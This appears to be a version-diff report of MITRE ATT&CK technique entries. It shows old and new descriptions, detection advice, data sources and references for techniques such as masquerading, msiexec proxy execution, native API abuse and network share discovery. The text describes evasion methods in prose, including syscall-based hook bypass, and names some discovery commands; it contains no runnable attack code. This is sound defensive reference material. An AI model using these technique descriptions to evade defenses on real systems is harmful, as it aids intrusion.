| x_mitre_data_sources | File: File Metadata | |
| x_mitre_data_sources | Process: Process Metadata | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_platforms | Containers |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may match or approximate the name or location of | t | 1 | Adversaries may match or approximate the name or location of |
| > | legitimate files when naming/placing their files. This is d | > | legitimate files or resources when naming/placing them. Thi | ||
| > | one for the sake of evading defenses and observation. This m | > | s is done for the sake of evading defenses and observation. | ||
| > | ay be done by placing an executable in a commonly trusted di | > | This may be done by placing an executable in a commonly trus | ||
| > | rectory (ex: under System32) or giving it the name of a legi | > | ted directory (ex: under System32) or giving it the name of | ||
| > | timate, trusted program (ex: svchost.exe). Alternatively, th | > | a legitimate, trusted program (ex: svchost.exe). In containe | ||
| > | e filename given may be a close approximation of legitimate | > | rized environments, this may also be done by creating a reso | ||
| > | programs or something innocuous. Adversaries may also use t | > | urce in a namespace that matches the naming convention of a | ||
| > | he same icon of the file they are trying to mimic. | > | container pod or cluster. Alternatively, a file or container | ||
| > | image name given may be a close approximation to legitimate | ||||
| > | programs/images or something innocuous. Adversaries may al | ||||
| > | so use the same icon of the file they are trying to mimic. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:11:45.970000+00:00 | 2021-04-20 19:23:37.762000+00:00 |
| description | Adversaries may match or approximate the name or location of legitimate files when naming/placing their files. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. | Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic. |
| external_references[2]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| x_mitre_data_sources[0] | File monitoring | Image: Image Metadata |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Metadata |
| x_mitre_detection | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) | Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Docker Images', 'description': 'Docker. (n.d.). Docker Images. Retrieved April 6, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/images/'} | |
| x_mitre_platforms | Containers |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:55:23.798000+00:00 | 2021-04-20 14:51:01.759000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Instance: Instance Stop |
| x_mitre_data_sources[1] | GCP audit logs | Instance: Instance Start |
| x_mitre_data_sources[2] | Azure activity logs | Instance: Instance Creation |
| x_mitre_data_sources[3] | AWS CloudTrail logs | Instance: Instance Modification |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Instance: Instance Deletion | |
| x_mitre_data_sources | Snapshot: Snapshot Creation | |
| x_mitre_data_sources | Snapshot: Snapshot Modification | |
| x_mitre_data_sources | Snapshot: Snapshot Deletion | |
| x_mitre_data_sources | Volume: Volume Creation | |
| x_mitre_data_sources | Volume: Volume Modification | |
| x_mitre_data_sources | Volume: Volume Deletion |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:35:27.613000+00:00 | 2021-10-15 23:59:00.395000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Creation |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | @ionstorm | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse msiexec.exe to proxy execution of mali | t | 1 | Adversaries may abuse msiexec.exe to proxy execution of mali |
| > | cious payloads. Msiexec.exe is the command-line utility for | > | cious payloads. Msiexec.exe is the command-line utility for | ||
| > | the Windows Installer and is thus commonly associated with e | > | the Windows Installer and is thus commonly associated with e | ||
| > | xecuting installation packages (.msi).(Citation: Microsoft m | > | xecuting installation packages (.msi).(Citation: Microsoft m | ||
| > | siexec) Msiexec.exe is digitally signed by Microsoft. Adver | > | siexec) Msiexec.exe is digitally signed by Microsoft. Adver | ||
| > | saries may abuse msiexec.exe to launch local or network acce | > | saries may abuse msiexec.exe to launch local or network acce | ||
| > | ssible MSI files. Msiexec.exe can also execute DLLs.(Citatio | > | ssible MSI files. Msiexec.exe can also execute DLLs.(Citatio | ||
| > | n: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Si | > | n: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Si | ||
| > | nce it is signed and native on Windows systems, msiexec.exe | > | nce it is signed and native on Windows systems, msiexec.exe | ||
| > | can be used to bypass application control solutions that do | > | can be used to bypass application control solutions that do | ||
| > | not account for its potential abuse. | > | not account for its potential abuse. Msiexec.exe execution m | ||
| > | ay also be elevated to SYSTEM privileges if the <code>Always | ||||
| > | InstallElevated</code> policy is enabled.(Citation: Microsof | ||||
| > | t AlwaysInstallElevated 2018) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Ziv Kaspersky, Cymptom', 'Alexandros Pappas'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:38:14.154000+00:00 | 2021-06-07 19:57:26.824000+00:00 |
| description | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. | Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.
Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018) |
| x_mitre_data_sources[0] | DLL monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft AlwaysInstallElevated 2018', 'description': 'Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated'} | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may directly interact with the native OS applica | t | 1 | Adversaries may interact with the native OS application prog |
| > | tion programming interface (API) to execute behaviors. Nativ | > | ramming interface (API) to execute behaviors. Native APIs pr | ||
| > | e APIs provide a controlled means of calling low-level OS se | > | ovide a controlled means of calling low-level OS services wi | ||
| > | rvices within the kernel, such as those involving hardware/d | > | thin the kernel, such as those involving hardware/devices, m | ||
| > | evices, memory, and processes.(Citation: NT API Windows)(Cit | > | emory, and processes.(Citation: NT API Windows)(Citation: Li | ||
| > | ation: Linux Kernel API) These native APIs are leveraged by | > | nux Kernel API) These native APIs are leveraged by the OS du | ||
| > | the OS during system boot (when other system components are | > | ring system boot (when other system components are not yet i | ||
| > | not yet initialized) as well as carrying out tasks and reque | > | nitialized) as well as carrying out tasks and requests durin | ||
| > | sts during routine operations. Functionality provided by na | > | g routine operations. Native API functions (such as <code>N | ||
| > | tive APIs are often also exposed to user-mode applications v | > | tCreateProcess</code>) may be directed invoked via system ca | ||
| > | ia interfaces and libraries. For example, functions such as | > | lls / syscalls, but these features are also often exposed to | ||
| > | the Windows API <code>CreateProcess()</code> or GNU <code>fo | > | user-mode applications via interfaces and libraries. (Citat | ||
| > | rk()</code> will allow programs and scripts to start other p | > | ion: OutFlank System Calls)(Citation: CyberBit System Calls) | ||
| > | rocesses.(Citation: Microsoft CreateProcess)(Citation: GNU F | > | (Citation: MDSec System Calls) For example, functions such a | ||
| > | ork) This may allow API callers to execute a binary, run a C | > | s the Windows API <code>CreateProcess()</code> or GNU <code> | ||
| > | LI command, load modules, etc. as thousands of similar API f | > | fork()</code> will allow programs and scripts to start other | ||
| > | unctions exist for various system operations.(Citation: Micr | > | processes.(Citation: Microsoft CreateProcess)(Citation: GNU | ||
| > | osoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher level | > | Fork) This may allow API callers to execute a binary, run a | ||
| > | software frameworks, such as Microsoft .NET and macOS Cocoa, | > | CLI command, load modules, etc. as thousands of similar API | ||
| > | are also available to interact with native APIs. These fram | > | functions exist for various system operations.(Citation: Mi | ||
| > | eworks typically provide language wrappers/abstractions to A | > | crosoft Win32)(Citation: LIBC)(Citation: GLIBC) Higher leve | ||
| > | PI functionalities and are designed for ease-of-use/portabil | > | l software frameworks, such as Microsoft .NET and macOS Coco | ||
| > | ity of code.(Citation: Microsoft NET)(Citation: Apple Core S | > | a, are also available to interact with native APIs. These fr | ||
| > | ervices)(Citation: MACOS Cocoa)(Citation: macOS Foundation) | > | ameworks typically provide language wrappers/abstractions to | ||
| > | Adversaries may abuse these native API functions as a means | > | API functionalities and are designed for ease-of-use/portab | ||
| > | of executing behaviors. Similar to [Command and Scripting I | > | ility of code.(Citation: Microsoft NET)(Citation: Apple Core | ||
| > | nterpreter](https://attack.mitre.org/techniques/T1059), the | > | Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation | ||
| > | native API and its hierarchy of interfaces, provide mechanis | > | ) Adversaries may abuse these OS API functions as a means o | ||
| > | ms to interact with and utilize various components of a vict | > | f executing behaviors. Similar to [Command and Scripting Int | ||
| > | imized system. | > | erpreter](https://attack.mitre.org/techniques/T1059), the na | ||
| > | tive API and its hierarchy of interfaces provide mechanisms | ||||
| > | to interact with and utilize various components of a victimi | ||||
| > | zed system. While invoking API functions, adversaries may al | ||||
| > | so attempt to bypass defensive tools (ex: unhooking monitore | ||||
| > | d functions via [Disable or Modify Tools](https://attack.mit | ||||
| > | re.org/techniques/T1562/001)). | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:19:54.646000+00:00 | 2021-10-18 21:24:30.764000+00:00 |
| description | Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system. | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). |
| external_references[3]['source_name'] | Microsoft CreateProcess | OutFlank System Calls |
| external_references[3]['description'] | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. | de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/ms682425 | https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ |
| external_references[4]['source_name'] | GNU Fork | CyberBit System Calls |
| external_references[4]['description'] | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. | Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021. |
| external_references[4]['url'] | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html | https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ |
| external_references[5]['source_name'] | Microsoft Win32 | MDSec System Calls |
| external_references[5]['description'] | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. | MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/api/ | https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ |
| external_references[6]['source_name'] | LIBC | Microsoft CreateProcess |
| external_references[6]['description'] | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. | Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014. |
| external_references[6]['url'] | https://man7.org/linux/man-pages//man7/libc.7.html | http://msdn.microsoft.com/en-us/library/ms682425 |
| external_references[7]['source_name'] | GLIBC | GNU Fork |
| external_references[7]['description'] | glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. | Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020. |
| external_references[7]['url'] | https://www.gnu.org/software/libc/ | https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html |
| external_references[8]['source_name'] | Microsoft NET | Microsoft Win32 |
| external_references[8]['description'] | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. | Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020. |
| external_references[8]['url'] | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework | https://docs.microsoft.com/en-us/windows/win32/api/ |
| external_references[9]['source_name'] | Apple Core Services | LIBC |
| external_references[9]['description'] | Apple. (n.d.). Core Services. Retrieved June 25, 2020. | Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020. |
| external_references[9]['url'] | https://developer.apple.com/documentation/coreservices | https://man7.org/linux/man-pages//man7/libc.7.html |
| external_references[10]['source_name'] | MACOS Cocoa | GLIBC |
| external_references[10]['description'] | Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020. | glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020. |
| external_references[10]['url'] | https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 | https://www.gnu.org/software/libc/ |
| external_references[11]['source_name'] | macOS Foundation | Microsoft NET |
| external_references[11]['description'] | Apple. (n.d.). Foundation. Retrieved July 1, 2020. | Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020. |
| external_references[11]['url'] | https://developer.apple.com/documentation/foundation | https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework |
| x_mitre_data_sources[0] | System calls | Process: OS API Execution |
| x_mitre_data_sources[1] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows API may involve processes loading/accessing system DLLs associated with providing called functions (ex: kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. | Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Apple Core Services', 'description': 'Apple. (n.d.). Core Services. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/documentation/coreservices'} | |
| external_references | {'source_name': 'MACOS Cocoa', 'description': 'Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1'} | |
| external_references | {'source_name': 'macOS Foundation', 'description': 'Apple. (n.d.). Foundation. Retrieved July 1, 2020.', 'url': 'https://developer.apple.com/documentation/foundation'} | |
| x_mitre_contributors | Gordon Long, Box, Inc., @ethicalhax |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:58:18.788000+00:00 | 2021-04-12 18:34:06.995000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_platforms[8] | Office 365 | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse scripting or built-in command line int | t | 1 | Adversaries may abuse scripting or built-in command line int |
| > | erpreters (CLI) on network devices to execute malicious comm | > | erpreters (CLI) on network devices to execute malicious comm | ||
| > | and and payloads. The CLI is the primary means through which | > | and and payloads. The CLI is the primary means through which | ||
| > | users and administrators interact with the device in order | > | users and administrators interact with the device in order | ||
| > | to view system information, modify device operations, or per | > | to view system information, modify device operations, or per | ||
| > | form diagnostic and administrative functions. CLIs typically | > | form diagnostic and administrative functions. CLIs typically | ||
| > | contain various permission levels required for different co | > | contain various permission levels required for different co | ||
| > | mmands. Scripting interpreters automate tasks and extend f | > | mmands. Scripting interpreters automate tasks and extend f | ||
| > | unctionality beyond the command set included in the network | > | unctionality beyond the command set included in the network | ||
| > | OS. The CLI and scripting interpreter are accessible through | > | OS. The CLI and scripting interpreter are accessible through | ||
| > | a direct console connection, or through remote means, such | > | a direct console connection, or through remote means, such | ||
| > | as telnet or secure shell (SSH). Adversaries can use the ne | > | as telnet or [SSH](https://attack.mitre.org/techniques/T1021 | ||
| > | twork CLI to change how network devices behave and operate. | > | /004). Adversaries can use the network CLI to change how ne | ||
| > | The CLI may be used to manipulate traffic flows to intercept | > | twork devices behave and operate. The CLI may be used to man | ||
| > | or manipulate data, modify startup configuration parameters | > | ipulate traffic flows to intercept or manipulate data, modif | ||
| > | to load malicious system software, or to disable security f | > | y startup configuration parameters to load malicious system | ||
| > | eatures or logging to avoid detection. (Citation: Cisco Synf | > | software, or to disable security features or logging to avoi | ||
| > | ul Knock Evolution) | > | d detection. (Citation: Cisco Synful Knock Evolution) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:43:38.388000+00:00 | 2021-07-26 15:57:50.800000+00:00 |
| description | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH). Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution) | Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution) |
| x_mitre_data_sources[0] | Network device logs | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device run-time memory | |
| x_mitre_data_sources | Network device command history | |
| x_mitre_data_sources | Network device configuration |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 19:55:53.828000+00:00 | 2021-04-09 14:56:26.562000+00:00 |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Command: Command Execution |
| x_mitre_data_sources[1] | Network protocol analysis | Cloud Service: Cloud Service Enumeration |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | IaaS |
| x_mitre_platforms[2] | macOS | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Process use of network | |
| x_mitre_platforms | Azure |
Current version: 3.1
Version changed from: 3.0 → 3.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for folders and drives shared on remote | t | 1 | Adversaries may look for folders and drives shared on remote |
| > | systems as a means of identifying sources of information to | > | systems as a means of identifying sources of information to | ||
| > | gather as a precursor for Collection and to identify potent | > | gather as a precursor for Collection and to identify potent | ||
| > | ial systems of interest for Lateral Movement. Networks often | > | ial systems of interest for Lateral Movement. Networks often | ||
| > | contain shared network drives and folders that enable users | > | contain shared network drives and folders that enable users | ||
| > | to access file directories on various systems across a netw | > | to access file directories on various systems across a netw | ||
| > | ork. File sharing over a Windows network occurs over the S | > | ork. File sharing over a Windows network occurs over the S | ||
| > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | ||
| > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | ||
| > | ware/S0039) can be used to query a remote system for availab | > | ware/S0039) can be used to query a remote system for availab | ||
| > | le shared drives using the <code>net view \\remotesystem</co | > | le shared drives using the <code>net view \\\\remotesystem</ | ||
| > | de> command. It can also be used to query shared drives on t | > | code> command. It can also be used to query shared drives on | ||
| > | he local system using <code>net share</code>. | > | the local system using <code>net share</code>. For macOS, t | ||
| > | he <code>sharing -l</code> command lists all shared points u | ||||
| > | sed for smb services. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-07 18:10:06.463000+00:00 | 2021-10-13 18:10:57.185000+00:00 |
| description | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
